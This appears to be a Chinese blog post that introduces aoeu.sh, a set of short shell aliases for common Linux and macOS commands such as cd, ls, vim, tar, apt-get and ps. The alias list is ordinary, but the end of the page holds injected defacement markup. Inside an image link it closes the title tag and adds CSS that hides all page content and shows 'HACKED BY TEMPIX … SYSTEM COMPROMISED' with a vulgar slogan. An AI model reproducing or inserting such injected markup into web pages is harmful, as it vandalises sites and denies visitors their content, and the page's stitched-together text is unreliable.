Github: https://github.com/shenjia/aoeu.sh
这是一个为 Linux / MacOS 用户设计的alias集合。
有的命令很短,比如 vim 和 cd .. ,但是我们每天都要敲无数次。而有的并不短,比如 apt-cache search 或 ps aux | grep 。
也许你认为这些命令已经很短了,但是时间紧急的时候(比如在生产服务器上解bug),少敲几个字符真的很顶事。
为这些最常用的命令设置1~2个字符的alias别名,能节省我们很多时间,也能降低我们手指的疲劳度。
Dealing with directories
alias i=’cd’ # go in
alias o=’cd ..’ # go out
alias oo=’cd /’ # go root
alias a=’ls -G’ # list
alias aa=’ls -G -l -h’ # list with details
alias aaa=’du -h -d 1′ # list disk usage
alias u=’pwd’ # show current location
alias m=’mkdir’ # make directory
Dealing with files
alias e=’vim’ # edit a file
alias ee=’sudo vim’ # edit a file wih sudo
alias f=’find . -name’ # find file by name
alias t=’tail -f’ # keep watching at a file
alias z=’tar zcvf’ # compress file
alias x=’tar zxvf’ # extract compress file
alias xx=’chmod +x’ # add execute permission
alias ww=’chmod a+w’ # add write permission
alias g=’wget’ # get file from internet
Dealing with packages
alias sh=”apt-cache search” // search a package
alias in=’apt-get install’ // install a package
alias un=’apt-get remove’ // uninstall a package
For MacOS, use “port search | port install | port uninstall” instead.
For Centos, use “yum search | yum install | yum remove” instead.
Dealing with system
alias q=’exit’ # exit shell
alias c=’clear’ # clear monitor
alias p=’ps aux | grep’ # look for process
alias h=’sudo vim /etc/hosts’ # edit host config
alias k=’sudo killall’ # kill process
alias ip=”ifconfig | sed -n ‘/inet /p'” # list ips
alias pt=’sudo lsof -i -P -sTCP:LISTEN’ # listening port
alias su=’su -‘ # switch to root user
Dealing with asdf.sh
alias eee=”e /usr/local/bin/asdf.sh” // edit the asdf.sh
alias xxx=”. /usr/local/bin/asdf.sh” // execute the asdf.sh
你可以为自己最常用的命令建立alias别名,进一步提升你的工作效率,别忘了先在shell里试试有没有被占用。
比如我设置了这些alias,以方便我的开发工作:
alias nr=’service nginx restart’
alias phpr=’service php5-fpm restart’
alias phpi=’e /etc/php5/fpm/php.ini’
alias sn=’svn st | grep ? | awk ‘\”{print $2}’\’
alias sa=’svn add `svn st | grep ? | awk ‘\”{print $2}’\”`’
alias sr=’svn rm –force’
…..
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)